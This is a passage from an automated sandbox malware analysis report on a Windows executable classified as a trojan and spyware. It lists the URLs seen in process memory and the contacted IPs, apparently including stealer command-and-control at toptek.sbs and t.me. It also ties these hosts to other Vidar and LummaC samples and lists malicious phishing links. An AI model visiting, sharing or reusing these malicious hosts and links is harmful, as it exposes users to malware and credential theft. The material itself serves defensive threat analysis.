http://www.autoitscript.com/autoit3/X	Dry.com, 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmp, Dry.com.1.dr, Volunteer.0.dr	false	high
https://issuetracker.google.com/161903006	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	false	high
https://drive-daily-1.corp.google.com/	chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.ico	chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3078	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7553	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5375	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5371	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4722	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://m.google.com/devicemanagement/data/api	chrome.exe, 0000000F.00000003.2023113077.0000335C001C8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7556	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-preprod.corp.google.com/	chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Dry.com, 0000000A.00000002.2458694756.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, GDT0R9.10.dr	false	high
https://toptek.sbsosh;	Dry.com, 0000000A.00000002.2461862261.000000000400C000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2461862261.0000000003FB9000.00000040.00001000.00020000.00000000.sdmp	false	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/%	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6692	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/258207403	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3502	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3623	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3625	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3624	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://t.m	Dry.com, 0000000A.00000003.1842133810.0000000001650000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842191783.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000003.1842628658.0000000001639000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://anglebug.com/5007	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3862	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 0000000F.00000003.2044447862.0000335C0033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2052211296.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033004820.0000335C00C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032887424.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037451733.0000335C00C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034342009.0000335C00C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2036290539.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4836	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/issues/166475273	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4384	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078082354.0000335C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/chrome/tips/gs3	chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3970	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	Dry.com, 0000000A.00000002.2463740067.0000000006AC5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037713026.0000335C0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044701167.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044657483.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2038321277.0000335C01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037533554.0000335C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044625142.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044790316.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037761626.0000335C00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037675980.0000335C0101C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://labs.google.com/search?source=ntp	chrome.exe, 0000000F.00000003.2082233107.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2077853947.0000335C02FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078082354.0000335C02F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7604	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7761	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/hk	chrome.exe, 0000000F.00000003.2020338956.0000259400694000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7760	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, EKXT2N.10.dr	false	high
http://anglebug.com/5901	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3965	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6439	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7406	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/search	chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7161	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-autopush.corp.google.com/	chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/search?q=$	chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7162	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5906	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/2517	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4937	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/166809097	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
94.130.188.57	toptek.sbs	Germany	24940	HETZNER-ASDE	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579617
Start date and time:	2024-12-23 06:20:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9EI7wrGs4K.exe renamed because original name is a hash value
Original Sample Name:	8eb4f92605e35c57a42b0917c221d65c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@43/36@5/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 80 Number of non-executed functions: 296
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.58.100, 142.250.181.99, 172.217.17.78, 64.233.162.84, 142.250.181.142, 172.217.17.67, 52.149.20.212, 184.30.17.174, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, redirector.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:20:57	API Interceptor	1x Sleep call for process: 9EI7wrGs4K.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://clicks.icims.com/f/a/5aA63l6Vdy8mmO6SfnFRFQ~~/AAIB5gA~/RgRpSzdjP0SjaHR0cHM6Ly9sb2dpbi5pY2ltcy5jb20vdS9yZXNldC12ZXJpZnk_dGlja2V0PVYzbldUZVAzTUxqc0hwVzlXOFlZbFhxamh5SFJZR0tHI2NsaWVudElkPUtKQTk1RHhIT1BOTzU2VWFOUmRSWTU3cHpuNkNNSGNtJmNsaWVudE5hbWU9QXBwbGljYW50IFRyYWNraW5nJmNhbGxiYWNrVXJsPVcDc3BjQgpnZWOyaGeuoGU9UhltaWthLnlhbWFndWNoaUBoYXlzLmNvLmpwWAQAABLw	Get hash	malicious	Unknown	Browse
	https://staging.effimate.toyo.ai-powered-services.com/	Get hash	malicious	Unknown	Browse
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=Ne7lLAcjQUaMUQJ9C8JRxUnNOxFiqmxEvtl5lDv69HJUMDcyQThVMFBaMzdYWTM3RDY1SVZJUUVaSC4u	Get hash	malicious	Unknown	Browse
	http://217.28.130.10/8265/568747470733a2f2f6d61696c2d6864656c2e6c7664642e696e666f2f3f656d61696c3d62722e73756e67406864656c2e636f2e6b72	Get hash	malicious	Unknown	Browse
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse
	medicalanalysispro.exe	Get hash	malicious	RHADAMANTHYS	Browse
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse
	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse
	NOTIFICATION_OF_DEPENDANTS_1.vbs	Get hash	malicious	Unknown	Browse
94.130.188.57	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
toptek.sbs	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	94.130.188.57
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.130.188.57
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	94.130.188.57
t.me	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	149.154.167.99
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	https://l.facebook.com/l.php?u=https%3A%2F%2Ft.me%2FPAWSOG_bot%2FPAWS%3Fstartapp%3Dy6XarDUx%26fbclid%3DIwZXh0bgNhZW0CMTAAAR3IsDSVMcBgD-KKIyBXkOWfUkEFRcacr_vOCRRmviPmkFBUb89K461Xors_aem_phLdcKrpf4KWQzIltAO6sg&h=AT0WVJB1xqSKqrvz6oCyiCr2S_kisddMHHYmkei4Ws2sbL4pRphOmNE4PXT0dksI9PktkcW4m87_ll8cIS3t1M10038szd68S2XeJYojq6dQAb2PNvHsZFU9AcnVKku-Ww&__tn__=R%5D-R&c%5B0%5D=AT333mRdaoK-Yj4Ygf4lXueSR8jJ8CACMU4jPPhyx4Dd8BU65ez-7IWN-rjEtxmQ4vnelW50DVCFSTPJgFIJWEEx8TitUX4wIVY-t-NciHl77nL94VWL9IfsUrTxvCQB2zyPBhLoYnhspB5Xwyppb4fz5drOP91P-bJPoqSIEG9eoaQFOXaOYJeNVBj8A6jTCbgB-MXs3Mr2iqYLeO7DnF-q9v0FShLlwJK2Dtzfkv1OxBm45LKEAXAPoI199zlXmZpVMznj	Get hash	malicious	Unknown	Browse	149.154.167.99
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	149.154.167.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	setup.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	149.154.167.99
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99
	user.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99
HETZNER-ASDE	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	94.130.188.57
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	213.239.239.164
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	135.181.58.223
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.130.188.57
